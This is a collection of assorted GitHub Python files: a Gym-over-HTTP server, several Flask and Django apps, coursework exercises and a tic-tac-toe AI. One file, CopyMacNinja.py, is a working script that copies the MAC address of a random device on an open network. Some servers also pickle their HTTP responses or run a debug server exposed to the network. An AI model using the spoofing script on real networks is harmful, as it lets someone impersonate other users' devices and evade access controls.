self.reward, self.done, self.info = self.sim.step(action)\n self.score += self.reward\n def reset(self):\n self.state = self.sim.reset()\n self.reward = 0\n self.score = 0\n self.done = False\n self.info = {}\n def preprocess(self, state):\n raise NotImplementedError\n def get_state(self, preprocess = False, pickleobj = False):\n state = self.state\n if preprocess:\n state = self.preprocess(state)\n if pickleobj:\n state = pickle.dumps(state)\n return state\n\n\n##\n# Pong Specific Environment Information\n##\nimport cv2\nclass PongEnv(Environment):\n def __init__(self):\n super(PongEnv, self).__init__(\"PongNoFrameskip-v4\")\n def preprocess(self, state):\n # Grayscale\n frame = cv2.cvtColor(state, cv2.COLOR_RGB2GRAY)\n # Crop irrelevant parts\n frame = frame[34:194, 15:145] # Crops to shape (160, 130)\n # Downsample\n frame = cv2.resize(frame, (80, 80), interpolation=cv2.INTER_AREA)\n return frame.astype(np.uint8)\n\n\n\nenv = PongEnv()\n\n##\n# Flask Environment\n##\napp = Flask(__name__)\n\n@app.route('/environment', methods=['GET'])\ndef get_env():\n global env\n if request.args.get('shape') is not None:\n shape = {}\n shape['observation'] = env.sim.observation_space.shape\n shape['action'] = env.sim.action_space.n\n return json.dumps(shape)\n return env.environment_name\n\n@app.route('/gym', methods=['GET'])\ndef get_extra_data():\n global env\n data = {}\n if request.args.get('action_space') is not None:\n data['action_space'] = env.sim.action_space\n if request.args.get('observation_space') is not None:\n data['observation_space'] = env.sim.observation_space\n if request.args.get('reward_range') is not None:\n data['reward_range'] = env.sim.reward_range\n if request.args.get('metadata') is not None:\n data['metadata'] = env.sim.metadata\n if request.args.get('action_meanings') is not None:\n data['action_meanings'] = env.sim.unwrapped.get_action_meanings()\n return pickle.dumps(data)\n\n@app.route('/action_space', methods=['GET'])\ndef get_action_space():\n global env\n return pickle.dumps(env.sim.action_space)\n\n@app.route('/observation_space', methods=['GET'])\ndef get_observation_space():\n global env\n return pickle.dumps(env.sim.observation_space)\n\n@app.route('/reward_range', methods=['GET'])\ndef get_reward_range():\n global env\n return pickle.dumps(env.sim.reward_range)\n\n@app.route('/metadata', methods=['GET'])\ndef get_metadata():\n global env\n return pickle.dumps(env.sim.metadata)\n\n@app.route('/action_meanings', methods=['GET'])\ndef get_action_meanings():\n global env\n return pickle.dumps(env.sim.unwrapped.get_action_meanings())\n\n@app.route('/state', methods=['GET'])\ndef get_state():\n return env.get_state(pickleobj = True, preprocess = request.args.get('preprocess') is not None)\n\n@app.route('/reward', methods=['GET'])\ndef get_reward():\n global env\n if request.args.get('all') is not None:\n return str(env.score)\n else:\n return str(env.reward)\n\n@app.route('/done', methods=['GET'])\ndef is_done():\n global env\n return str(env.done)\n\n@app.route('/info', methods=['GET'])\ndef get_info():\n global env\n return json.dumps(env.info)\n\n@app.route('/action', methods=['POST'])\ndef perform_action():\n global env\n action = int(request.form['id'])\n env.step(action)\n\n content = {}\n content['state'] = env.get_state(preprocess = request.args.get('preprocess') is not None)\n content['reward'] = env.reward\n content['done'] = env.done\n content['info'] = env.info\n return pickle.dumps(content)\n\n@app.route('/reset')\ndef reset_env():\n global env\n env.reset()\n return env.get_state(pickleobj = True, preprocess = request.args.get('preprocess') is not None)\n\n","repo_name":"Brandon-Rozek/GymHTTP","sub_path":"gymserver.py","file_name":"gymserver.py","file_ext":"py","file_size_in_byte":4442,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"29743888485","text":"import os\n\nimport bjoern\nfrom flask import Flask\nfrom flask_restful import Api\n\nfrom resources.BinResources import BinResource\nfrom resources.BinV2Resource import BinV2Resource\nfrom resources.BinLikesResource import BinLikesResource\nfrom resources.BinViewsResource import BinViewsResource\nfrom tentalog import Tentacle\n\nfrom resources.StatsResource import StatsResource\n\nlogger = Tentacle().logger\n\n__author__ = \"@NextBlu core team\"\n\napp = Flask(__name__)\napi = Api(app)\n\n\n@app.after_request\ndef after_request(response):\n response.headers.add(\"Access-Control-Allow-Origin\", \"*\")\n response.headers.add(\n \"Access-Control-Allow-Headers\", \"Content-Type, Authorization\"\n )\n response.headers.add(\"Access-Control-Allow-Methods\", \"GET,PUT,POST,DELETE,PATCH,OPTIONS\")\n return response\n\n\n# Legacy version\nlog_routes = [\n \"/api/v1/bin/\",\n \"/api/v1/bin/new\"\n]\n\napi.add_resource(BinResource, *log_routes)\n\n# Bin v2\napi.add_resource(BinV2Resource, \"/api/v2/bin/\")\n\n# Statistics\napi.add_resource(StatsResource, \"/api/vs/stats/\")\n\n# Likes\napi.add_resource(BinLikesResource, \"/api/v2/bin/new/like/\")\n\n# Views\napi.add_resource(BinViewsResource, \"/api/v2/bin/new/view/\")\n\nif __name__ == '__main__':\n isProduction = False\n port = 3000\n host = \"0.0.0.0\"\n\n try:\n if os.environ['IS_PRODUCTION'] == 'production':\n logger.info(f\"Found IS_PRODUCTION environment variable set, overriding the current mode\")\n isProduction = True\n except KeyError:\n isProduction = False\n\n logger.info(f\"Starting server at port {port} with production mode set to {isProduction}\")\n\n if isProduction:\n bjoern.run(app, host, port)\n else:\n app.run(host=host, port=port, debug=True)\n","repo_name":"nextblu/shellbin-server","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1746,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"39655844332","text":"dicionario = dict()\nlista = list()\nsoma = int()\ngol = list()\nwhile True:\n dicionario['nome'] = str(input('Digite o nome da pessoa: ')).strip().capitalize()\n numpartidas = int(input(f'Quantas partidas {dicionario[\"nome\"]} jogou: '))\n for i in range(numpartidas):\n gol.append(int(input(f'Quantos gols {dicionario[\"nome\"]} fez na {i + 1} partida: ')))\n dicionario['gols'] = gol[:]\n media = round(float(sum(gol) / numpartidas), 2)\n dicionario['media'] = media\n dicionario['total'] = sum(gol)\n lista.append(dicionario.copy())\n gol.clear()\n print('-' * 60)\n while True:\n opt = str(input('Quer continuar [S/N]? ')).strip().upper()[0]\n if opt in ('S', 'N'):\n break\n else:\n print('Digite uma opção válida [S/N]:')\n print('-' * 60)\n if opt == 'N':\n break\nprint('COD'.center(5), 'NOME'.center(15), 'GOLS'.center(24), 'MEDIA DE GOLS')\nprint('-' * 60)\nfor n, d in enumerate(lista):\n print(n + 1, '-' * 3, d['nome'].center(15), d['gols'], ' ' * (27 - 3 * len(d['gols'])), d['media'])\nopt = int(input('Digite o código de um dos jogadores para saber os detalhes'))\nwhile opt != 999:\n\n for d in lista:\n if d == lista[opt - 1]:\n print(f'{d[\"nome\"]} fez um total de {d[\"total\"]} gol{\"s \" if d[\"total\"] > 1 else \" \"}jogando {len(d[\"gols\"])} partida{\"s \" if len(d[\"gols\"]) > 1 else \" \"}')\n for n, v in enumerate(d['gols']):\n print(f'No jogo {n + 1}, {d[\"nome\"]} fez {d[\"gols\"][n]} gol{\"s\" if d[\"gols\"][n] > 1 else \" \"}')\n print('-' * 60)\n opt = int(input('Digite o código de um dos jogadores para saber os detalhes'))","repo_name":"edufsi/CursoPython","sub_path":"Exercícios_Básicos_CursoEmVideo/ex17.py","file_name":"ex17.py","file_ext":"py","file_size_in_byte":1653,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"19018597490","text":"import torch\nfrom kaolin.ops.mesh import index_vertices_by_faces\nfrom kaolin.metrics.trianglemesh import point_to_mesh_distance\n\npoint = torch.tensor([[[0.5, 0.5, 0.5],\n\n [3., 4., 5.]]], device='cuda')\n\nvertices = torch.tensor([[[0., 0., 0.],\n\n [0., 1., 0.],\n\n [0., 0., 1.]]], device='cuda')\n\nfaces = torch.tensor([[0, 1, 2]], dtype=torch.long, device='cuda')\n\nface_vertices = index_vertices_by_faces(vertices, faces)\n\ndistance, index, dist_type = point_to_mesh_distance(point, face_vertices)\n\nprint(distance)\n\n\nprint(index)\n\n\nprint(dist_type)\n","repo_name":"HomeworldL/ros2_dex_grasp","sub_path":"scripts/learn/test_kaolin.py","file_name":"test_kaolin.py","file_ext":"py","file_size_in_byte":616,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"6512696096","text":"from django.urls import include, path\nfrom rest_framework.routers import DefaultRouter\n\nfrom . import views\n\nrouter = DefaultRouter()\nrouter.register('tags', views.TagViewSet, basename='tags')\nrouter.register(\n 'ingredients',\n views.IngredientViewSet,\n basename='ingredients')\nrouter.register('recipes', views.RecipeViewSet, basename='recipes')\nrouter.register('recipes/(?P[0-9]+)/favorite',\n views.FavoriteViewSet, basename='favorite')\nrouter.register('recipes/(?P[0-9]+)/shopping_cart',\n views.ShoppingCartViewSet, basename='shopping_cart')\n\nurlpatterns = [\n\n path('', include(router.urls)),\n]\n","repo_name":"Zulfat-Gadelshin/foodgram-project-react","sub_path":"backend/foodgram/api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":660,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"40299846541","text":"\"\"\"\nTic Tac Toe Player\n\"\"\"\nfrom math import inf\nimport math\nfrom copy import deepcopy\nfrom random import choice\nX = \"X\"\nO = \"O\"\nEMPTY = None\n\n\ndef initial_state():\n \"\"\"\n Returns starting state of the board.\n \"\"\"\n return [[EMPTY, EMPTY, EMPTY],\n [EMPTY, EMPTY, EMPTY],\n [EMPTY, EMPTY, EMPTY]]\n\n\ndef player(board):\n \"\"\"\n Returns player who has the next turn on a board.\n \"\"\"\n O_num = 0\n X_num = 0\n \n for element in board:\n for e in element:\n if e == O:\n O_num += 1\n elif e == X:\n X_num += 1\n if O_num == X_num:\n return X\n else:\n return O\n\n\ndef actions(board):\n \"\"\"\n Returns set of all possible actions (i, j) available on the board.\n \"\"\"\n action_list = []\n \n for i in range(3):\n for j in range(3):\n if board[i][j] == EMPTY:\n action_list.append((i, j))\n\n return action_list\n\n\ndef result(board, action):\n \"\"\"\n Returns the board that results from making move (i, j) on the board.\n \"\"\"\n\n boards_list = []\n if player(board) == X:\n board_copy = deepcopy(board)\n board_copy[action[0]][action[1]] = X\n board_option = board_copy[:]\n boards_list += board_option\n else:\n board_copy = deepcopy(board)\n board_copy[action[0]][action[1]] = O\n board_option = board_copy[:]\n boards_list += board_option\n \n return boards_list \n\n\ndef winner(board):\n \"\"\"\n Returns the winner of the game, if there is one.\n \"\"\"\n if board[0][0] == board[0][1] and board[0][0] == board[0][2]:\n return board[0][0]\n elif board[1][0] == board[1][1] and board[1][0] == board[1][2]:\n return board[1][0]\n elif board[2][0] == board[2][1] and board[2][0] == board[2][2]:\n return board[2][0]\n elif board[0][0] == board[1][0] and board[0][0] == board[2][0]:\n return board[0][0]\n elif board[0][1] == board[1][1] and board[0][1] == board[2][1]:\n return board[0][1]\n elif board[0][2] == board[1][2] and board[0][2] == board[2][2]:\n return board[0][2]\n elif board[0][0] == board[1][1] and board[0][0] == board[2][2]:\n return board[0][0]\n elif board[0][2] == board[1][1] and board[0][2] == board[2][0]:\n return board[0][2]\n\n\ndef terminal(board):\n \"\"\"\n Returns True if game is over, False otherwise.\n \"\"\"\n if winner(board) == X or winner(board) == O:\n return True\n else:\n for element in board:\n for e in element:\n if e == EMPTY:\n return False\n\n return True\n\n\ndef utility(board):\n \"\"\"\n Returns 1 if X has won the game, -1 if O has won, 0 otherwise.\n \"\"\"\n if terminal(board):\n if winner(board) == X:\n return 1\n elif winner(board) == O:\n return -1 \n else:\n return 0\n return 0\n\n\ndef maxvalue(board):\n if terminal(board) == True:\n return utility(board)\n v = -inf\n for a in actions(board):\n v = max(v, minvalue(result(board, a)))\n return v\n\ndef minvalue(board):\n if terminal(board) == True:\n return utility(board)\n v = inf\n for a in actions(board):\n v = min(v, maxvalue(result(board, a)))\n return v\n\ndef minimax(board):\n \"\"\"\n Returns the optimal action for the current player on the board.\n \"\"\"\n n = 0\n \n for i in board:\n for j in i:\n if j == EMPTY:\n n += 1\n \n if n == 9:\n return (1, 1)\n \n else:\n if player(board) == X:\n previous_score = -inf\n for a in actions(board):\n score = minvalue(result(board, a))\n if score > previous_score:\n previous_score = score\n action_to_take = a\n return action_to_take \n \n \n if player(board) == O:\n previous_score = inf\n for a in actions(board):\n score = maxvalue(result(board, a))\n if score < previous_score:\n previous_score = score\n action_to_take = a\n return action_to_take ","repo_name":"GroenewaldM/AI_Projects","sub_path":"Search_Projects/tictactoe/tictactoe.py","file_name":"tictactoe.py","file_ext":"py","file_size_in_byte":4208,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2395180348","text":"\"\"\"Update image_path\n\nRevision ID: 5908e54016aa\nRevises: fba459ca9ae2\nCreate Date: 2022-05-06 12:01:23.202972\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import postgresql\n\n# revision identifiers, used by Alembic.\nrevision = '5908e54016aa'\ndown_revision = 'fba459ca9ae2'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.execute(\"UPDATE scans SET image_path = CONCAT('/static/image/', id, '.png') WHERE image_path IS NOT NULL\")\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.execute(\"UPDATE scans SET image_path = CONCAT('/static/haadf/', id, '.png') WHERE image_path IS NOT NULL\")\n # ### end Alembic commands ###\n","repo_name":"OpenChemistry/distiller","sub_path":"backend/app/alembic/versions/5908e54016aa_update_image_path.py","file_name":"5908e54016aa_update_image_path.py","file_ext":"py","file_size_in_byte":809,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"31155917778","text":"\"\"\"\nEscreva um programa que crie uma lista vazia e permita que o usuário \n insira números nessa lista até que ele digite um número negativo. \n Em seguida, exiba a lista na tela.\n\"\"\"\n\nclass Numero():\n def __init__(self) -> None:\n self.ls = []\n \n def addInList(self, val):\n if val > -1:\n self.ls.append(val)\n return True\n else:\n return False\n\n def __del__(self):\n print(self.ls)\n print(\"Seu objeto numero foi destruido!\")\n\n\nif __name__ == \"__main__\":\n n = Numero()\n cont = True\n \n while cont:\n try:\n cont = n.addInList(int(input(\"Digite algum número: \")))\n except ValueError:\n print(\"Somente núemros, por favor!\")\n \n except:\n print(\"Algum erro imprevisto ocorreu!\")\n \n del n","repo_name":"HidekiKoyama/Exercicios_Senai","sub_path":"Exercicios_Aula/0061.py","file_name":"0061.py","file_ext":"py","file_size_in_byte":855,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"75221008514","text":"import sys\n\n\ndef run():\n n, m, x, y = map(int, input().split())\n grid = list(input() for _ in range(n))\n ans = list(list() for _ in range(n))\n for i in range(n):\n for j in range(m):\n assert len(ans[i]) == j\n if grid[i][j] == '*':\n ans[i].append(j and ans[i][-1])\n else:\n ans[i].append((j and ans[i][-1]) + x)\n if j >= 1 and grid[i][j - 1] == '.':\n ans[i][-1] = min(ans[i][-1], (j - 1 and ans[i][j - 2]) + y)\n print(sum(ans[i][-1] for i in range(n)))\n\n\ndef main():\n t = int(input())\n for _ in range(t):\n run()\n\n\nif __name__ == \"__main__\":\n # with open(\"_input.txt\", \"r\") as fin, open(\"_output.txt\", \"w\") as fout:\n # sys.stdin = fin\n # sys.stdout = fout\n # main()\n main()\n\n # print(False is False == False)\n","repo_name":"HassnHamada/CP-Solutions","sub_path":"1359B.py","file_name":"1359B.py","file_ext":"py","file_size_in_byte":867,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"14663581636","text":"from flask import Flask, render_template, redirect, request, flash, url_for\r\nimport tensorflow as tf\r\nimport os\r\nimport numpy as np\r\nimport cv2\r\nimport time\r\nfrom pathlib import Path\r\nimport matplotlib.pyplot as plt\r\n\r\n# os.environ['CUDA_VISIBLE_DEVICES'] = '-1'\r\n\r\nALLOWED_EXTENSIONS = {'txt', 'pdf', 'png', 'jpg', 'jpeg', 'gif'}\r\n# DIRECTORY INFORMATION\r\nROOT_DIR = os.path.abspath('.')\r\nMODEL_DIR = os.path.join(ROOT_DIR, 'model')\r\nCOL_MODEL_PATH_COCO = os.path.join(MODEL_DIR, 'col_coco.h5')\r\nCOL_MODEL_PATH_COCO_448 = os.path.join(MODEL_DIR, 'col_coco_448.h5')\r\nCOL_MODEL_PATH_CELEBA = os.path.join(MODEL_DIR, 'col_celeba.h5')\r\nCOL_MODEL_PATH_CELEBA_448 = os.path.join(MODEL_DIR, 'col_celeba_448.h5')\r\nCOL_MODEL_PATH_IMAGENET = os.path.join(MODEL_DIR, 'col_imagenet.h5')\r\nESR_MODEL_PATH = os.path.join(MODEL_DIR, 'esr.h5')\r\nCLASSIFICATION_MODEL_PATH = os.path.join(MODEL_DIR, 'classification.h5')\r\n\r\nUPLOAD_DIR = os.path.join(ROOT_DIR,'static','images','upload') # UPDATE\r\nOUT_DIR_1 = os.path.join(UPLOAD_DIR, '..','result_1')\r\nOUT_DIR_2 = os.path.join(UPLOAD_DIR, '..','result_2')\r\n\r\n# DATA INFORMATION\r\nIMAGE_SIZE = 448\r\n\r\napp = Flask(__name__)\r\napp.config['UPLOAD_FOLDER']=UPLOAD_DIR \r\n\r\nclass Classification():\r\n def __init__(self, model_path):\r\n self.model = tf.keras.models.load_model(model_path)\r\n # Decode jpeg and and resize image\r\n def preprocess(self, path):\r\n image = tf.io.read_file(path)\r\n image = tf.image.decode_jpeg(image, channels=3)\r\n image = tf.image.resize(image, [224,224])\r\n image = tf.expand_dims(image, axis=0)\r\n image = image/255\r\n return image\r\n def predict(self, filename):\r\n file_path = os.path.join(UPLOAD_DIR,filename)\r\n lr = self.preprocess(file_path)\r\n result = self.model.predict(lr)[0][0]>0.95\r\n return result \r\n \r\nclass ESR(object):\r\n def __init__(self, model_path):\r\n self.model = tf.keras.models.load_model(model_path)\r\n \r\n def preprocess(self, path):\r\n \"\"\" input: string\r\n path to test image\r\n output: tensor\r\n shape of [1, height, width, 3]\r\n \"\"\"\r\n lr = tf.io.read_file(path)\r\n lr = tf.image.decode_image(lr, channels=3)\r\n lr = tf.cast(lr, dtype=tf.float32) / 255 \r\n lr = tf.expand_dims(lr, axis=0)\r\n\r\n return lr\r\n\r\n def predict(self, filename):\r\n file_path = os.path.join(OUT_DIR_1,filename)\r\n lr = self.preprocess(file_path)\r\n result = self.model.predict(lr)\r\n result = (result[0]*255).astype('uint8')\r\n save_path = os.path.join(OUT_DIR_2, filename)\r\n plt.imsave(save_path, result)\r\n return result\r\n\r\nclass Colorization():\r\n def __init__(self, model_path):\r\n self.colorization_model = tf.keras.models.load_model(model_path)\r\n \r\n\r\n def deprocess(self, imgs):\r\n imgs = imgs * 255\r\n imgs[imgs > 255] = 255\r\n imgs[imgs < 0] = 0\r\n return imgs.astype(np.uint8)\r\n\r\n\r\n def reconstruct(self, batchX, predictedY, filename):\r\n result = np.concatenate((batchX, predictedY), axis=2)\r\n result = cv2.cvtColor(result, cv2.COLOR_Lab2BGR)\r\n result = result[:self.current_shape[0],:self.current_shape[1]]\r\n if not os.path.exists(OUT_DIR_1):\r\n os.makedirs(OUT_DIR_1)\r\n save_path = os.path.join(OUT_DIR_1, filename)\r\n cv2.imwrite(save_path, result)\r\n return result\r\n\r\n def read_img(self, filename,img_size):\r\n img = cv2.imread(filename, 3)\r\n height, width, channels = img.shape\r\n max_hw = int(max(height,width))\r\n img = np.pad(img,((0,max_hw-height),(0,max_hw-width),(0,0)),'median')\r\n labimg = cv2.cvtColor(cv2.resize(img, (img_size, img_size)), cv2.COLOR_BGR2Lab)\r\n result_shape = (np.array([height,width])/max_hw*img_size).astype('int64')\r\n return np.reshape(labimg[:,:,0], (img_size, img_size, 1)), result_shape\r\n\r\n def predict(self, filename,img_size):\r\n file_path = os.path.join(UPLOAD_DIR,filename)\r\n\r\n l_1, self.current_shape = self.read_img(file_path,img_size)\r\n l_1 = np.expand_dims(l_1, axis=0)\r\n l_1 = l_1/255\r\n\r\n predAB, _ = self.colorization_model.predict(np.tile(l_1,[1,1,1,3]))\r\n result = self.reconstruct(self.deprocess(l_1[0]),self.deprocess(predAB[0]),filename.split('.')[0]+'.jpg')\r\n\r\n return result\r\n\r\ndef allowed_file(filename):\r\n return '.' in filename and \\\r\n filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS\r\n\r\ndef get_current_index():\r\n try:\r\n image_path = Path(UPLOAD_DIR)\r\n image_path = image_path.glob('*.*')\r\n image_name = [path.name for path in image_path]\r\n image_name = [int(name.split('.')[0]) for name in image_name]\r\n current_index = max(image_name)\r\n except: \r\n current_index = 0\r\n return current_index\r\n\r\nglobal index\r\nindex = get_current_index()\r\ncolorization_model = Colorization(COL_MODEL_PATH_COCO_448)\r\ncolorization_model_celeba = Colorization(COL_MODEL_PATH_CELEBA)\r\nesr_model = ESR(ESR_MODEL_PATH)\r\nclassification_model = Classification(CLASSIFICATION_MODEL_PATH)\r\n\r\n@app.route('/',methods=['GET','POST'])\r\ndef home():\r\n if request.method == 'POST':\r\n # check if the post request has the file part\r\n if 'file' not in request.files:\r\n print('No file part')\r\n return redirect(request.url)\r\n # data = request.form.to_dict()\r\n # img_type = data['img_type']\r\n file = request.files['file']\r\n # if user does not select file, browser also\r\n # submit an empty part without filename\r\n if file.filename == '':\r\n print('No selected file')\r\n return redirect(request.url)\r\n if file and allowed_file(file.filename):\r\n global index \r\n index += 1 \r\n file.save(os.path.join(app.config['UPLOAD_FOLDER'], str(index)+\".jpg\"))\r\n new_filename = str(index)+\".jpg\" \r\n return redirect(url_for('result',filename = new_filename)) \r\n return render_template('home.html', current_index=index)\r\n\r\n@app.route('/result/')\r\ndef result(filename):\r\n potrait = classification_model.predict(filename)\r\n if potrait == True:\r\n colorization_model_celeba.predict(filename,224)\r\n else:\r\n colorization_model.predict(filename,448)\r\n esr_model.predict(filename)\r\n return render_template('result.html', filename=filename) \r\n\r\n@app.route('/howitworks')\r\ndef how_it_works():\r\n return render_template('how_it_works.html') \r\n\r\nif __name__ == '__main__':\r\n app.run(host='0.0.0.0', port=5050, debug=True)\r\n ","repo_name":"huynhdao0808/chromaGAN_dl_fa","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":6677,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16895899599","text":"import os\nimport scipy\nimport numpy as np\nimport random\nfrom sklearn import metrics\nimport math\nimport scipy.io\nfrom sklearn.metrics import mean_squared_error\nfrom sklearn.metrics import confusion_matrix\nimport matlab.engine\nimport glob\nimport mahotas as mt\nimport random\nimport argparse\n\nrandom.seed(6666)\neng = matlab.engine.start_matlab()\n\n\ndef clip_fp(fp):\n '''\n clip values into (0, 255)\n :param fp: A fingerprint\n :return: Clipped fingerprint\n '''\n clipped_fp = np.clip(fp, 0, 1)\n ret_fp = (clipped_fp * 255).astype(int)\n return ret_fp\n\n\ndef extract_haralick_features(image):\n '''\n Extract haralick feature for an image\n :param image: a clipped fingerprint output by clip_fp\n :return: haralick texture feature of the fingerprint\n '''\n textures = mt.features.haralick(image)\n ht_mean = textures.mean(axis=0)\n return ht_mean\n\n\ndef texture_feat_extract(res_folder, res_dim, total_round=5, fp_size=50):\n '''\n This function will 1) create a bunch of fingerprints by randomly sampling 2) will extract texture\n feature from those fingerprints 3) real a feature set\n :param res_folder: noise residual folder of reference set. should only include real image residuals\n :param res_dim: image dimension\n :param total_round: randomly sample for 5 rounds by default\n :param fp_size: each fingerprint is extracted from 50 residuals\n :return: A set of feature of reference fingerprints (real residuals calculated)\n '''\n feat_set = []\n for round in range(0, total_round):\n res = os.listdir(res_folder)\n random.shuffle(res)\n print(\"There are {} available noise residuals\".format(len(res)))\n seg_idxs = [tuple(range(x, x + fp_size)) for x in range(0, len(res) - fp_size, fp_size)]\n for i, seg_idx in enumerate(seg_idxs):\n print(\"[STATUS] Creating fingerprint {}\".format(i))\n res_paths_for_one_fp = list(map(lambda x: res_folder + res[x], seg_idx))\n FP = eng.compute_fp_from_path(res_paths_for_one_fp, res_dim)\n clipped_fp = clip_fp(np.array(FP))\n feat_vector = extract_haralick_features(clipped_fp)\n feat_set.append(feat_vector)\n print('[STATUS] TRAIN feature extraction DONE')\n return feat_set\n\n\ndef compute_pce_with_fingerprint(res_list, fingerprint):\n '''\n For each residual in a list of noise residuals, compute its pce correlation with a fingerpint.\n :param res_list: A list of noise residuals (can be all the test residuals or all the reference residuals)\n :param fingerprint: A fingerprint.\n :return: an array of PCE correlation.\n '''\n ret_pce = eng.compute_pce_with_fingerprint(res_list, matlab.double(fingerprint.tolist()))\n return np.array(ret_pce)\n\n\ndef compute_fp_from_cluster(idxs, res_list, img_dim):\n '''\n compute a fingerprint out of a cluster of residuals by averaging.\n :param idxs: the indexes of a residual cluster\n :param res_list: noise residuals of test set.\n :param img_dim: image/residual dimension.\n :return: A fingerprint.\n '''\n averaged_fp = np.zeros((img_dim, img_dim))\n for idx in idxs:\n fp = scipy.io.loadmat(res_list[idx - 1]) # type: 'dict'\n averaged_fp += fp['Noise'] / len(idxs)\n return np.array(averaged_fp)\n\n\ndef compute_cluster_fake_purity(cluster_with_img_idx, ground_truth):\n '''\n Compute the percentage of fake images/residuals in a cluster\n :param cluster_with_img_idx: A list of residual clusters. Each cluster is a tuple, which includes residual indexes.\n :param ground_truth: ground truth labels of the test set\n :return: a percentage\n '''\n cluster_idx_minus = list(map(lambda x: x - 1, cluster_with_img_idx))\n fake_pos = np.where(np.array(ground_truth) == 1)\n fake_purity = len(set(fake_pos[0]).intersection(set(cluster_idx_minus))) / len(cluster_with_img_idx)\n return fake_purity\n\n\ndef compute_confusion_matrix(ground_truth, label):\n '''\n compute detection performance given ground truth label and prediction label\n :param ground_truth: ground truth label of the test set\n :param label: prediction label of the test set.\n :return: metric scores\n '''\n tn, fp, fn, tp = confusion_matrix(ground_truth, label).ravel()\n conf_matrix = (tn, fp, fn, tp)\n metric_scores = {\n \"accuracy\": metrics.accuracy_score(ground_truth, label),\n \"precision\": metrics.precision_score(ground_truth, label),\n \"recall\": metrics.recall_score(ground_truth, label),\n \"f1_score\": metrics.f1_score(ground_truth, label)\n }\n return conf_matrix, metric_scores\n\n\ndef save_fingerprint_imgs(res_folder, img_dim, num_res=150):\n '''\n To visualize fingerprint.\n :param res_folder: the path to noise residuals of images from a specific camera/GAN model\n :param img_dim: image/noise dimension\n :param num_res: the number of noise residuals used for creating a fingerprint\n :return:\n '''\n files = glob.glob(res_folder + '*.mat')[:num_res]\n eng.visualize_fingerprint(files, img_dim, './StyleGAN_bedroom_FP.png')\n print('fingerprint saved')\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('--gan_res_dir', default='/alldata/residuals/StyleGAN_bedroom/', help='PATH to directory that contains noise residuals from a GAN model')\n args = parser.parse_args()\n save_fingerprint_imgs(args.gan_res_dir, 256)\n","repo_name":"jmpu/NoiseScope","sub_path":"utils_noisescope.py","file_name":"utils_noisescope.py","file_ext":"py","file_size_in_byte":5419,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"61"} +{"seq_id":"14241523267","text":"#It is used to copy the mac address of a random one of the connected devices on the open network.\n#Example Usage: python CopyMacNinja.py -i wlan0 -r 192.168.1.1/24 \n#All responsibility belongs to the user!!\nfrom scapy.all import ARP, Ether, srp\nimport random\nimport optparse\nimport subprocess\n\ndef get_random_mac(target_ip):\n pkt = Ether(dst=\"ff:ff:ff:ff:ff:ff\") / ARP(pdst=target_ip)\n ans, unans = srp(pkt, timeout=3, verbose=0)\n\n\n available_macs = []\n for result in ans:\n pair = result[1]\n mac = pair.sprintf(\"%Ether.src%\")\n ip = pair.sprintf(\"%ARP.psrc%\")\n if not ip.endswith(\".1\"):\n available_macs.append(mac)\n\n if available_macs:\n return random.choice(available_macs)\n else:\n return None\n\nparser = optparse.OptionParser()\nparser.add_option(\"-i\", \"--interface\", dest=\"interface\", help=\"Arayüzü belirtin\")\nparser.add_option(\"-r\", \"--ipaddress\", dest=\"target_ip\", help=\"Hedef IP adresini girin\")\n\noptions, args = parser.parse_args()\ninterface = options.interface\ntarget_ip = options.target_ip\n\n\nprev_mac = subprocess.check_output([\"ifconfig\", interface]).decode().split(\"ether \")[1].split(\" \")[0]\n\nrandom_mac = get_random_mac(target_ip)\nif random_mac:\n subprocess.call([\"ifconfig\", interface, \"down\"])\n subprocess.call([\"ifconfig\", interface, \"hw\", \"ether\", random_mac])\n subprocess.call([\"ifconfig\", interface, \"up\"])\n print(\"Önceki MAC adresi:\", prev_mac)\n print(\"Yeni MAC adresi:\", random_mac)\nelse:\n print(\"Uygun MAC adresi bulunamadı.\")\n\n","repo_name":"hkapc/CopyMacNinja","sub_path":"CopyMacNinja.py","file_name":"CopyMacNinja.py","file_ext":"py","file_size_in_byte":1539,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"24693717329","text":"import torch \r\nimport numpy as np\r\nfrom torch.autograd import Variable\r\nfrom torch import nn\r\nimport torch.nn.functional as F\r\nimport random\r\nimport os\r\n\r\nimport matplotlib\r\nmatplotlib.use('Agg')\r\nimport matplotlib.pyplot as plt\r\n\r\nimport pdb\r\n\r\ndef gap_to_max_gap(gap):\r\n i = 0\r\n while(gap > 2 ** i):\r\n i += 1\r\n return 2 ** i\r\n\r\ndef posterior(X_s, X_train, Y_train, l=1.0, sigma_f=1.0, sigma_y=1e-8):\r\n \"\"\"\r\n Computes the suffifient statistics of the posterior distribution \r\n from m training data X_train and Y_train and n new inputs X_s.\r\n \r\n Args:\r\n X_s: New 